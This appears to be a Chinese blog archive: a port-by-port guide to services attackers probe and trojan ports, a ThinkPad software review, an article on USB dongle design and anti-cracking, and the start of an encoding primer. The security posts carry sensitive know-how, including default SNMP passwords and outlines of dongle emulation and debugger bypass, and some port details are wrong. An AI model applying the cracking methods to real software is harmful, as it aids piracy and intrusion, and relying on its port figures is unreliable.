 TFTP(UDP) 许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件,如密码文件。它们也可用于向系统写入文件。

79
finger Hacker用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从自己机器到其它机器finger扫描。

98
 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root,信任局域网,在/tmp下建立Internet可访问的文件,LANG环境变量有缓冲区溢出。此外因为它包含整合的服务器,许多典型的HTTP漏洞可能存在(缓冲区溢出,历遍目录等)

109
 POP2 并不象POP3那样有名,但许多服务器同时提供两种服务(向后兼容)。在同一个服务器上POP3的漏洞在POP2中同样存在。

110
POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个(这意味着Hacker可以在真正登陆前进入系统)。成功登陆后还有其它缓冲区溢出错误。

111
 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常见RPC服务有:rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服务的特定端口测试漏洞。
记住一定要记录线路中的daemon, IDS, 或sniffer,你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。

113
Ident auth 这是一个许多机器上运行的协议,用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息(会被Hacker利用)。但是它可作为许多服务的记录器,尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,你将会看到许多这个端口的连接请求。记住,如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST,着将回停止这一缓慢的连接。

119
 NNTP news 新闻组传输协议,承载USENET通讯。当你链接到诸如:news://comp.security.firewalls/. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送spam。

135
 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper注册它们的位置。远端客户连接到机器时,它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如:这个机器上运行Exchange Server吗?是什么版本?
这个端口除了被用来查询服务(如使用epdump)还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。

137
 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息,请仔细阅读文章后面的NetBIOS一节

139
 NetBIOS
File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。
大量针对这一端口始于1999,后来逐渐变少。2000年又有回升。一些VBS(IE5 VisualBasic Scripting)开始将它们自己拷贝到这个端口,试图在这个端口繁殖。

143
 IMAP 和上面POP3的安全问题一样,许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住:一种Linux蠕虫(admw0rm)会通过这个端口繁殖,因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后,这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。
这一端口还被用于IMAP2,但并不流行。
已有一些报道发现有些0到143端口的攻击源于脚本。

161
 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中,通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。
SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect remote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名,你会看见这种包在子网内广播(cable modem, DSL)
查询sysName和其它信息。

162
 SNMP trap 可能是由于错误配置

177
xdmcp 许多Hacker通过它访问X-Windows控制台, 它同时需要打开6000端口。

513
rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。

553
 CORBAIIOP (UDP) 如果你使用cable modem或DSL VLAN,你将会看到这个端口的广播。CORBA是一种面向对象的RPC(remote procedure call)系统。Hacker会利用这些信息进入系统。

600
Pcserver backdoor 请查看1524端口
一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal.

635
 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于  UDP的,但基于TCP的mountd有所增加(mountd同时运行于两个端口)。记住,mountd可运行于任何端口(到底在哪个端口,需要在端口111做portmap查询),只是Linux默认为635端口,就象NFS通常运行于2049端口。

1024
 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络,它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点,你可以重启机器,打开Telnet,再打开一个窗口运行“natstat -a”,你将会看到Telnet被分配1024端口。请求的程序越多,动态端口也越多。操作系统分配的端口将逐渐变大。再来一遍,当你浏览Web页时用“netstat”查看,每个Web页需要一个新端口。

1025 参见1024

1026 参见1024

1080
SOCKS 这一协议以管道方式穿过防火墙,允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置,它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机,从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙,常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。

1114
 SQL系统本身很少扫描这个端口,但常常是sscan脚本的一部分。

1243 Sub-7木马(TCP)参见Subseven部分。

1524
 ingreslock后门许多攻击脚本将安装一个后门Shell于这个端口(尤其是那些针对Sun系统中Sendmail和RPC服务漏洞的脚本,如statd,ttdbserver和cmsd)。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图,很可能是上述原因。你可以试试Telnet到你的机器上的这个端口,看看它是否会给你一个Shell。连接到600/pcserver也存在这个问题。

2049
 NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口,但是大部分情况是安装后NFS运行于这个端口,Hacker/Cracker因而可以闭开portmapper直接测试这个端口。
3128
 squid这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口:8000/8001/8080/8888。扫描这一端口的另一原因是:用户正在进入聊天室。其它用户(或服务器本身)也会检验这个端口以确定用户的机器是否支持代理。请查看5.3节。

5632
 pcAnywere你会看到很多这个端口的扫描,这依赖于你所在的位置。当用户打开pcAnywere时,它会自动扫描局域网C类网以寻找可能得代理(译者:指agent而不是proxy)。Hacker/cracker也会寻找开放这种服务的机器,所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。参见拨号扫描。

6776
 Sub-7 artifact这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器,而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时,他们将会看到持续的,在这个端口的连接企图。(译者:即看到防火墙报告这一端口的连接企图时,并不表示你已被Sub-7控制。)

6970
RealAudioRealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置的。

13223
PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户,从另一个聊天者手中“继承”了IP地址这种情况就会发生:好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四个字节。

17027
 Conducent这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验:阻断这一外向连接不会有任何问题,但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载:机器会不断试图解析DNS名?ads.conducent.com,即IP地址216.33.210.40 ;216.33.199.77 ;216.33.199.80 ;216.33.199.81;216.33.210.41。(译者:不知NetAnts使用的Radiate是否也有这种现象)
27374 Sub-7木马(TCP) 参见Subseven部分。

30100
NetSphere木马(TCP)通常这一端口的扫描是为了寻找中了NetSphere木马。
31337 Back Orifice “elite”Hacker中31337读做“elite”/ei’li:t/(译者:法语,译为中坚力量,精华。即3=E, 1=L, 7=T)。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少,其它的木马程序越来越流行。

31789
 Hack-a-tack这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马(RAT, Remote Access Trojan)。这种木马包含内置的31790端口扫描器,因此任何31789端口到317890端口的连接意味着已经有这种入侵。(31789端口是控制连接,317890端口是文件传输连接)

32770~32900
RPC服务Sun Solaris的RPC服务在这一范围内。详细的说:早期版本的Solaris(2.5.1之前)将portmapper置于这一范围内,即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围内的端口不是为了寻找portmapper,就是为了寻找可被攻击的已知的RPC服务。

33434~33600 t
raceroute如果你看到这一端口范围内的UDP数据包(且只在此范围之内)则可能是由于traceroute。参见traceroute部分。

41508
Inoculan早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此


 


 

24/2/2007

ThinkPad专用软件逐个看

众所周之,IBM的ThinkPad系列笔记本不论是从品质还是易用性上看都可以说是同类型产品中最接近完美的一款。虽然大多数朋友知道 ThinkPad是笔记本当中不可多得的东东但是我敢肯定没有几位朋友了解IBM所提供的一系列专用软件的奥秘以及功能。虽然没有SONY产品在软件设置 上那样的丰富但ThinkPad笔记本扎扎实实地预装了一些非常具有特色的适用软件,这些小软件还是可以为用户提供不小的方便的,此文就专门为大家介绍一 下ThinkPad的特色软件,以及一些使用技巧,希望为各位黑友提供一些方便。

ThinkPad Configuration
[attach]16619[/attach]

对电脑有一定认识的人都知道管理自己的系统往往时一件非常不容易的事,如果用户能对电脑的各个部件的设置了如指掌的话使用起来就会更加的得心应手。由于笔 记本电脑的可管理的部件以及接口十分的多而且设置起来也相当的繁琐。所以如何管理并设置好笔记本的各个部件成为各个本本用户最为关心的问题。而在这个问题 上IBM给了我们一个非常好的选择。ThinkPad Configuration作为一款了解和配置笔记本各个部件的软件不仅可以在我们购买 ThinkPad的时候对即将购买的机器的硬件状况有一个非常直观的了解,而且在以后笔记本的使用上也对我们有较大的帮助。 ThinkPad Configuration几乎涵盖了对ThinkPad笔记本各个部件的设置,这其中包括了系统信息和硬件设置两大部分。而在硬件设 置上包括了网络设置、屏幕调整、电池信息、接口设置以及外接部件设置五大部分。可以说只要有ThinkPad Configuration这款软件我们就 能从里到外通通透透的了解ThinkPad的每一个部分。

Battery MaxMiser
[attach]16620[/attach]

作为笔记本和台式机唯一的不同之处,笔记本是可以在移动中使用的。而于移动性息息相关的恐怕就是在电池的使用上了。怎样更为节省以及高效的使用电池里的每 一安培电力直接关系到笔记本在移动中所能使用的时间。Battery MaxMiser是一款IBM自行开发的电池管理软件。它更具用户在不同的使用状态 下所需要的性能对屏幕亮度、处理器频率以及光驱的转速作出相应的调整,以达到最大限度的延长电池巡航时间的目的。Battery MaxMiser采用了 非常方便的向导模式并且内置了多种主体模式方便了用户在不同状态下使用。

IBM Access Connections
[attach]16621[/attach]

在现今网络已经深入到普通电脑使用者工作生活的各个方面,很难想象没有了网络我们用电脑还能干什么。不过作为笔记本这种移动设备需要经常在各种网络环境下 使用,由于各个网络环境下的具体设置不同往往我们携带着笔记本从一个网络环境到另一个网络环境的时候要对笔记本进行重新的配置,而这个配置过程又是非常繁 琐的。如果有一款软件能为我们设置不同的网络配置那该有多好啊!而IBM Access Connections就是一款能为我们自动设置的软件。 IBM Access Connections采用了配置文件的形式为我们自动设置不同网络环境所需要的诸如IP地址、网关、连接模式以及用户名密码。用 户只要设置好了不同的配置文件就能在不同的网络环境下使用进一步提高了使用笔记本的效率。

Keyboard Customizer
[attach]16622[/attach]
[attach]16623[/attach]

快捷键设置作为一种可以方便用户使用的设置可以提高用户使用电脑的效率。Keyboard Customizer是IBM ThinkPad笔记本专用的 键盘配置软件。在这款软件中不仅可以选择不同国家的按键风格而且还提供了相当多的组合键设置。而原来在笔记本中没有的Windows会标键也能通过组合键 的形式得到。各种组合键不仅能定义各种使用功能而且还能定义一些相应的程序。用户将自己常用的程序用定义成快捷键使用不仅能提高工作效率而且也是笔记本个 性化的最好体现。

EasyEject Utility
[attach]16624[/attach]

即插即用的可更换式UltraBay接口是IBM ThinkPad的专利,使用这一接口ThinkPad可以扩展许多使用的设备。而作为管理 UltraBay接口设备的软件EasyEject Utility可以在用户插入或弹出UltraBay接口设备的时候询问用户下一步的操作。这样不仅 能直观的看到外接部件的状态而且也能保护部件避免损坏。

通过以上的介绍大家应该对ThinkPad笔记本内部的专用软件有了一个大概的了解了吧!为了大家能通过这些非常优秀的软件将自己的小黑用的更好下面就IBM Access Connetion的具体设置为大家做一个详细的介绍,希望对大家有所帮助。
[attach]16625[/attach]

(图1)

首先让我们进入IBM Access Connetion的设置向导模式。打开IBM Access Connetion软件选择 Location Profiles菜单下的Create New Porfiles。我们可以看到如图1的选项。在这一步里需要我们命名即将创建的配置 文件以及选择我们的连接类型。在所供选择的连接类型中不仅包括了我们常用的Modem、xDSL、ISDN等有线连接还包含了802.11、 Wireless WAN这种无线连接模式。从这里可以看出IBM的这款Access Connetion软件在网络设置上还是非常强大的。
[attach]16626[/attach]
[attach]16627[/attach]

(图2)

  在设置好了名称和连接类型之后点击下一步,在这里需要我们选择一个所使用的连接设备如图2。由于小编的机器里只有普通的100M网卡所以菜单中只有 3Com网卡这一个选项,如果你的机器里有802.11设备或者蓝牙等连接设备的话列表中会一一列出。而如果你将 Configure my DSL setting选中的话还可以进一步设置你的ADSL连接。
[attach]16628[/attach]

(图3)

设置好了之后点击下一步我们可以看到图3所示。在这里要求我们对IE浏览器做相关的配置,由于这和IE中的设置相同小编就不在这里罗嗦了。具体这么配根据你的实际情况选择吧!
[attach]16629[/attach]

(图4)

  在图4的这一步里软件要求我们对连接的安全性进行配置。在这里共有三个选项可供选择,它包括关闭文件和打印机.

  共享、使用系统自带的防火墙(只适用于安装Windows XP系统的机器)、关闭Internet连接共享。在这里怎样选择就要看你所处的网络环境时什么样的了。
[attach]16630[/attach]

(图5)

  设置好安全性后下一步软件可以让我们在使用这个连接的时候自动打开相应的软件。点击Add Program可以加入系统中以安装的各种软件。
[attach]16631[/attach]

(图6)

  最后如图6软件提供了一个全部设置的列表便于使用者查看,如果有什么地方不对的话用户可以上一步到具体的地方进行重新配置。如果一切都没有问题的话就吧配置文件保存下来吧!
[attach]16632[/attach]

  Access Connetion软件提供了相当方便的网络设置,用户在不同的网络环境下只要选择不同的配置文件软件就能把所需要的IP地址、网关以及登陆所需要的用户名密码都依照用户的配置设置好。不需要用户在一个一个的设了。

  结束语

  在硬件设计远远超过软件的今天一款好用且实用的软件不仅能进一步发挥硬件本身的特性而且能让使用者更为方面的使用各种功能。而以上小编为大家介绍的 ThinkPad笔记本专用的软件不仅提供了更多实用的功能扩展了笔记本本身的使用性而且也方便了用户的使用提高了使用者的学习和工作效率。总之一句话, 好用实用是这些软件的唯一特点。不过经小编测试这些软件只有在IBM ThinkPad笔记本上才能使用。使用其他品牌笔记本的用户就和这些好东东无怨 了。如果你是一位正在使用ThinkPad的黑友,那还犹豫什么快去IBM的网站下载一套装上吧!保证你会得益非浅的哦!^_^
15/2/2007

USB软件狗的设计及反破解技术 (仅供学习)

分析了常见的加解密技术,并据此提出了一系列反破解措施。

1 软件狗技术

近年来,软件狗技术在保护软件开发者利益、防止软件盗版方面起了很大作用。软件狗技术属于硬加密技术,它具有加密强度大、可靠性高等特点,已广泛应用于计算机软件保护。软件狗技术的发展经历了多次更新换代。第一代软件狗通过短接并行口的某两根线,或者再加上些电阻、电容、二极管等实现;第二代软件狗采用逻辑门电路跨接在开行口上,并采取适当的措施尽量避免软件狗和打印机之间的相互干扰;第三代软件狗的核心芯片是EEPROM,主机通过并行口直接读写EEPROM以实现对加密信息存取;第四代软件狗以微控制器和EEPROM为核心器件,又称微狗,它具有一定的智能,应用灵活性和抗破解能力都得到了很大提高。

传统的软件狗通过在并行口上附加一定的电路实现,而并行口本身的特点限制了传统软件狗技术的进步发展。由于并行口本身没有电源线,所以传统折并行口软件狗都是通过各种“偷电”技术从数据线或控制线获得软件狗电路所需的电源,其电路必须选用规模不大的低拉耗元器件。在负载能力很低的并行口上,并行口软件狗难以保证正常工作。由于并行口是为连接单个设备设计的,在连接多个设备时很难避免冲突,传统的并行口软件狗必须细考虑与打印机之间的兼容问题。特别是对于一些非标准接口的并行口设备,就更难解决冲突问题。这些都使并行口软件技术的展受到很大限制。

USB是在1994年底由Compaq、IBM、Microsoft等多家公司联合提出的一种连接外部设备的新型的通用串行接口技术,它具有真正的即插即用和热插拔功能,理论上可支持多达127个不外设的同时连接。USB是一种先进的很有前途的接口标准,随着USB接口器件的发展,使用USB接口的设备会越来越多。USB接口本身具有电源线,可为外设提供稳定可靠的工作电源,从而对USB软件狗所用元器件的工作电压、功耗等的要求大大降低,软件狗的工作条件得到很大改善,更容易实现复杂、灵活的设计和电路的微型化。由于USB是为连接多个设备而设计的,有着严格的规范,从接口本身避免了设备间的冲突,只要遵循USB接口规范,USB软件狗不但不会对别的USB设备产生影响,也不会受到别的USB设备的影响。与并行口相比,USB接口更适合于软件狗技术。

 
2 USB软件狗的硬件

在本设计中,所使用的微控制器是CY7C63100A/CY7C63101A。它是CYPRESS公司生产的8位精简指令集(RISC)的OTP型微控制器。它集成有1.5Mbps的USB串行接口引擎(SIE)(即USB收发器),具有128字节的片内RAM、2/4K字节的程序存储空间,片内还具有个自由运行的8位定时器、一个看门狗定时器和内部上电复位电路,它的指令集专门为开发USB应用进行了优化。该控制器拥有两个输入输出端口、16根通用I/O线,且每根线均可作为中断源。端口1的所有引脚都带有可编程驱动器,可以直接驱动LED发光。该控制器的操作电压为4.0~5.25V,它需要6MHz的外部陶瓷共振器,片内操作时钟为12MHz。CY7C63100A/CY7C63101A是低速USB外设的低成本解决方案,符合USB1.1规范,支持1个设备址和2个端点(一个控制端点和一个数据端点)。

本设计中所使用的存储器是24C02,它是带有硬件写保护功能的串行EEPROM,其接口兼容I2C总线规范,通过一对串行时钟、数据线对片内存储单元进行读写。24C02的片仙存储器容量为2K位(或256字节)。

本文设计的USB软件狗的硬件电路图如图1所示。其核心器件是微控制器(可根据需要选用CY7C63100A或CY7C63101A,其区别为程序存储器的空间不同,分别为2K字节和4K字节)和串行EEPROM(24C02),各元件的具体参数如图1所示。

微控制器的第15(D-)、16(D+)脚分别连接USB连接器的2(D-)、3(D+)脚,提供微控制器和主机之间信息交换的电信号通道,其中第15引脚(D-)所接的7.5kΩ的上拉电阻是为了满足USB规范的要求。微控制器通过USB接口与主机进行信息交换。

微控制器的第20脚(P1.1)经过10kΩ的上位电阻连接24C02的第7脚(WP,写保护),控制24C02的写操作使能。当WP为高电平(Vcc)时,只能读取24C02的内容而不能对其进行写入;当WP为低电平(Vss)时,则可以进行读、写操作。设置写保护功能,可以防止存储器内容被意外改写。微控制器的第19脚(P1.3)连接24C02的第6脚(SCL,串行时钟),为控制24C02的读写操作提供时钟;微控制器的第18脚(P1.5)经过10kΩ的上拉电阻接24C02的第5脚(SDA,串行数据、地址),作为读写24C02的数据、地址信号线。微控制器通过这三根信号线完成对24C02的读写操作,对24C02的读写控制满足I2C总线规范。

 

3 USB软件狗的软件


USB软件狗的软件包括主机软件微控制器中的软件(固件)。主机软件和固件相配合,协完成主机与USB软件狗间的信息交换。其中,微控制器中的固件主要完成与USB主机的通信(包括参与USB总线设备枚举、USB软件狗的自身标识等)、对24C02的读写操作、与主机程序相配合实现和主机程序间的数据交换等任务。微控制器程序的简化软件框图如图2所示。

3.1 USB软件狗插入主机后,主机发现USB软件狗,在执行USB复位操作后,主机使用默认地址(地址0)向USB软件狗发出设备描述符请求,USB软件狗向主机返回自已的设备描述符作为响应;接收到要求的设备描述符后,主机为新发现的USB软件狗指定一个新的USB地址;然后,主机使用新的USB地址重新向USB软件狗发送一个设备描述符请求,USB软件狗向主机返回自己的设备描述符作为响应。主机向USB软件狗发送配置描述符请求,USB软件狗从程序存储空间中取出相应的描述符并返回给主机。当主机接收到所有的描述符后,USB设备枚举过程即告结束。至此,主机已完全了解USB软件狗的资源要求、端点类型和性能等特性。

3.2 USB软件狗和主机间的数据交换

由于CY7C63100A/CYC63101A只提供两个USB端点:端点0和端点1。端点1只能发送数据而不能接收数据,所以不适合USB软件狗的交互式数据交换的要求,故只有使用端点0与主机进行数据交换。

USB共支持四种类型的传输:等时传输、中断传输、控制传输和批量传输。要求恒定的连续传输速率的实时应用程序一般都采用等时传输方式。等时传输要求及时地提供数据,且对数据正确性要求不高而对时间极为敏感,所以在等时传输中,数据的有效性不能保证。在传送数据发生错误时,USB并不处理这些错误,而是继续传送新的数据。中断传输方式总线用于对设备的查询,以确定设备是否有数据需要传输。因此中断传输的方向总是从USB设备到主机,传送的数据量很小。但这些数据需要及时处理,以达到实时效果。控制传输提供了一种方法来配置USB设备,并对它操作的某些方面进行控制。每个设备都必须实现一个缺省的控制端点(端点0),控制端点用来配置设备、控制设备状态以及设备操作的其它方面,包括设备控制指令、设备状态查询及确认命令。批量传输适用于对数据的正确性要求很高、而对数据传输速率没有特殊要求的设备。

除缺省的针对端点0的控制传输外,对于其他三种传输方式,端点的传输方式一旦确定,则该端点在此配置下只能进行某一特定方向上的数据传输,而不可以在通信过程中改变传输方向,除非重新选择配置,对于USB软件狗应用,由于USB软件狗与主机间要不断地相互进行数据交换,且每次所需要交换的数据量不大,故选用控制传输方式。

控制传输至少由两个阶段组成,也有可能是三个阶段。建立阶段——控制传输总线从建立阶段开始,在本阶段主机向目标设备传送信息,定义对USB设备的请求类型(例如读设备描述符)。数据阶段——这个阶段仅仅是因要求数据传输的请求定义的。例如,在数据阶段,读描述符的请求把描述符的内容发送给主机。状态阶段——这个阶段用来报告所请求的操作的结果。控制传输从建立阶段开始,它包含8字节的信息包。这个8字节的信息包定义了在控制传输的数据阶段所传输的数据数量。在数据阶段,信息包的最大数据载荷限制为64字节。对于本设计,由于CY7C63100A/CY7C63101A的端点0只提供了8字节的FIFO缓冲区,故最大信息包只能取8字节。如果有更多的数据需要传输,可以分多次完成。控制传输参与错误检测和恢复机制,努力提供一种最大限度的恢复,以保证数据的完整性。

 

USB设备枚举过程结束后,并没有立即开始工作,必须由主机根据在枚举阶段所获得的信息对USB设备进行配置。配置完成后,USB设备才进入工作状态。此后,主机就可以与USB设备进行数据交换了。


主机与USB软件狗间的数据交换过程由主机方起,每一次数据交换都由完整的控制传输完成。在控制传输的建立阶段,主机向USB软件狗发送8字节的信息包,通过用户自定久的请求类型字段规定USB软件狗对后续数据应进行的处理,或要求USB软件狗向主机返回特定的信息。在数据阶段,USB软件狗接收指定数据或按要求向主机发送相应数据。控制传输的状态阶段指示本次数据传输的结果状态,以确定本次交互是否正确完成。

3.3 读写24C02

为防止24C02的内容意外改变(例如,由于强干扰或不规范操作等),在不进行写操作时,应使WP引脚保持为高电平,即P1.1保持为高电平。在进行写操作时使WP变低,并一直保持到写操作完成。写操作完成后立即恢复WP为高电平。对24C02具体的读写操作符合I2C总线规范,很多相关书籍都有具体的实例程序,本文不再多述。

为安全起见,存储器24C02中的数据应采用加密后的形式存放。

4 软件狗反破解技术


针对软件狗的破解方法主要有两种:硬件方法和软件方法。

软件狗的硬件破解方法,主要是仿制软件狗的硬件电路。这个方法对付早期的软件狗比较有效。当微狗出现后,由于很多微控制器本身都提供了程序代码保护功能,这使得仿制软件狗特别是获取固件变得越来越困难,这种方法现在已经很少使用。还有一种硬件破解方法是使用逻辑分析仪或软件拦截I/O,记录下软件狗与主机软件间所传送的数据并进行分析以找出规律。这对于一些简单的软件狗比较有效,而对于算法众多、交互数据量很大的软件狗,这种方法所带来的繁杂性可想而知。USB通信规程本身相当复杂,这也大大提高了对USB软件狗进行数据拦截的破解方法的难度。

现在,更加常用的软件狗破解方法主要集中在软件方面,并有软件模拟、跟踪分析等方法。

软件模拟,就是先启动I/O拦截软件,然后在有软件狗的情况下启动受保护软件,并对受保护软件的第一个功能都进行试运行;同时,后台的I/O拦截软件记录下受保护软件与软件狗之间交互的数据供以后合作。记录完成后,只需在启动受保护软件前先启动模拟软件,就可以使受保护软件在没有软件狗的情况下也可以正常运行。在受保护软件运行过程中,当它企图与软件狗进行通信时,后台的模拟软件拦拱到该通信请求,根据先前记录下的数据对真实软件狗进行仿真,使受保护软件通信数据不变的情形,软件模拟方法十分有效;但如果通信数据中含有随机性的参数(例如,系统的当前时间),那么软件狗和受保护软件间所交互的数据就各不相同,在这种情况下,软件模拟方法就显得无能为力了。例如,主机软件可以取系统当前时间送给软件狗,软件狗使用一定的规则对其进行变换,并把结果送回主机软件,机软件用同样的规则对上述时间值进行同样的变换,检查变换后的结果是否一致。这里需要有好的变换算法,使变换结果对参数的各个部分的改变很敏感且程度相似。或者,软件狗和受保护软件间遵循一定的通信协议(当然是不公开的),所传输的数据中含有大量随机的无用信息,而根据该通信协议,软件狗和受保护软件都可以从中提取出有效的信息。

  在各种软件狗的软件破解方法中,以跟踪分析方法的威力最为强大,具体的有静态分析和动态跟踪等方法。

静态分析方法是用一些静态反汇编、反编译工具对受保护软件进行逆向分析,以求找出访问软件狗的代码并进行相应的修改。如果预先对受保护软件的程序代码采用一定的变换(可以取软件狗中的数据作为变换参数),在运行时再进行反变换动态生成将要执行的代码,就可以有效地对抗静态分析方法。还可以使用可执行文件压缩工具对受保护软件进行压缩处理,或采用软件加壳工具对其进行处理等,这些都可以有效地对付静态分析法。另外,如果把主机软件的内部函数调用与外壳加密相结合,则可进一步提高加密强度,即使软件的外壳被破除,也仍然不能正常运行。


动态跟踪破解法不仅可以用于软件狗破解,还可以用来获取一些软件的注册序列号,取消软件的试用期限制、试用次数限制和解锁试用版软件等。这种方法是使用一些调试分析工具软件(如DEBUG、SOFTICE等),控制受保护软件的整个运行过程,找出它与软件狗间交互部分的代码并进行修改,以使其跳过对软件狗的检测或使检测结果无效。该破解方法的使用者往往都具有相当丰富的破解经验,对各种加解密方法了如指掌,这种方法也需要破解者付出很大的精力。对付这种暴力破解方法,主要就是设备跟踪陷阱、使用大量各不相同的加密算法并大量分散地设置对软件狗的访问、分离对软件狗的检测命令和对结果的判断等,目的就是加大跟踪分析的工作量、扰乱破解者的思路,大量消耗其体力和脑力,最终达到使其知难而退。动态跟踪法的一种很有效的对策是限定主机软件与软件狗间交互操作执行的时间。如果软件狗发现某个操作的执行时间超出设定的值(时间闸),则不作响应或送回错误的响应以迷或破解者。这是由于对于同样的操作,动态跟踪所需要的执行时间常常要远大于正常连续运行所需要的时间。在主机软件中也可以设置时间闸,但与在软件设中放置时间闸相比它更容易受到攻击而失效,效果不太好。主机软件也可以接管操作系统的调试函数或检测某些调试软件的存在,一旦发现自身在调试状态下运行,就立即退出运行或使程序不正常运行以迷惑破解者;也可以通过缩短软件升级的周期来使解密者疲于应付。静态分析和动态跟踪方法常常是相互配合使用的。与此对应,相应的反破解方法也是密切结合的。

软件狗除用来进行软件合法性检验外,还可以实现很多其它有用的功能。例如,可以在软件安装时把硬般的产品序列号、CPU的产品序列号或者网卡的物理地址等硬件信息写入软件狗,以后软件在每次运行时都进行一致性检测以判断本次运行机器和安装进所用机器是否为同一台机器,这样就可以实现软件对运行机器的限制。也可以利用软件狗中的定时器和存储器实现更加安全的软件试用期和使用次数等功能。

 

 
 

从ANSI到Unicode──随便说说字符集和编码

随便说说字符集和编码
   出处:http://haoxiaobo.spaces.live.com/?_c11_BlogPart_blogpart=blogview&_c=BlogPart&partqs=cat%3d%25e8%25ae%25a1%25e7%25ae%2597%25e6%259c%25ba%25e4%25b8%258e%2bInternet
    快下班时,爱问问题的小朋友Nico又问了一个问题:
    "sqlserver里面有char和nchar,那个n据说是指unicode的数据,这个是什么意思。"
    并不是所有简单的问题都很容易回答,就像这个问题一样。于是我答应专门写一篇BLOG来从头讲讲编码的故事。那么就让我们找个草堆坐下,先抽口烟,看看夜晚天空上的银河,然后想一想要从哪里开始讲起。嗯,也许这样开始比较好……
   
   
    很久很久以前,有一群人,他们决定用8个可以开合的晶体管来组合成不同的状态,以表示世界上的万物。他们看到8个开关状态是好的,于是他们把这称为"字节"。
    再后来,他们又做了一些可以处理这些字节的机器,机器开动了,可以用字节来组合出很多状态,状态开始变来变去。他们看到这样是好的,于是它们就这机器称为"计算机"。
   
    开始计算机只在美国用。八位的字节一共可以组合出256(2的8次方)种不同的状态。
    他们把其中的编号从0开始的32种状态分别规定了特殊的用途,一但终端、打印机遇上约定好的这些字节被传过来时,就要做一些约定的动作。遇上00x10, 终端就换行,遇上0x07, 终端就向人们嘟嘟叫,例如遇上0x1b, 打印机就打印反白的字,或者终端就用彩色显示字母。他们看到这样很好,于是就把这些0x20以下的字节状态称为"控制码"。
